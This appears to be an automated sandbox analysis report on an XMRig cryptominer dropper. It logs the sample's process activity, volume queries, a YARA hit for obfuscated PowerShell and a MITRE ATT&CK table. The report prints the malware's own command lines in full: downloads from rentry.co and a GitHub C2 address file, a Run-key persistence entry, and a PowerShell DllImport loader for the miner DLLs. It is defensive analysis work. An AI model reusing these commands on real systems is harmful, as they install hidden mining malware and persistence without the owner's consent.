Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FDD.tmp" "c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA854.tmp" "c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCBDA.tmp" "c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL814C.tmp C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL663C.tmp C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF657.tmp C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB020.tmp" "c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL120A.tmp C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFCF8.tmp" "c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD067.tmp C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL6063.tmp C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF060.tmp C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -c $workpath = \"$env:systemdrive\miner\";$architecture = $env:processor_architecture;if ($architecture -eq 'amd64') {$workpath = \"$env:systemdrive\miner\fetchx64.dll\"} elseif ($architecture -eq 'x86') {$workpath = \"$env:systemdrive\miner\fetchx32.dll\"};$newpath = $workpath.replace('\', '\\');$signature = '[dllimport("""' + $newpath + '""", entrypoint=\"runx\")] public static extern int runx();';$loaddll = add-type -memberdefinition $signature -name 'loaddll' -namespace 'loaddll' -passthru;$loaddll::runx()

Language, Device and Operating System Detection

Yara detected Obfuscated Powershell

Source: Yara match

File source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp, type: DROPPED

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00000248EEE84858 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_2_00000248EEE84858

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	222 Scripting	Valid Accounts	1 Exploitation for Client Execution	222 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
